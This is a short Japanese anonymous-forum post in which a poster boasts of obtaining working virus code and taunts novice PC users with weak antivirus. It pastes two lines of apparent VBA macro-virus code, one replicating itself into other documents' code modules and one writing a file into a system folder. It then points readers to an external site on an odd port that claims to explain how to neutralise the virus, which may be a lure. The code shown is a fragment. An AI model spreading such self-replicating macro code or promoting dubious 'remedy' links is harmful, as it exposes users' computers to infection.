>>231
>>1
僭越ながらこの男根様 ◆CHINPOGEDUめは、久々に有効なウイルスコードを入手致しました
脆弱なセキュリティソフトをお使いのPC初心者様、けたたましい不快な警告音やPCの躍動をお楽しみくださいませ
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))

また、簡易的なものですがこのコードを無害化する方法を下記サイトにまとめておきました
http://oab.sytes.net:8010/~nusoku/secureguard.html
よろしければご活用くださいませ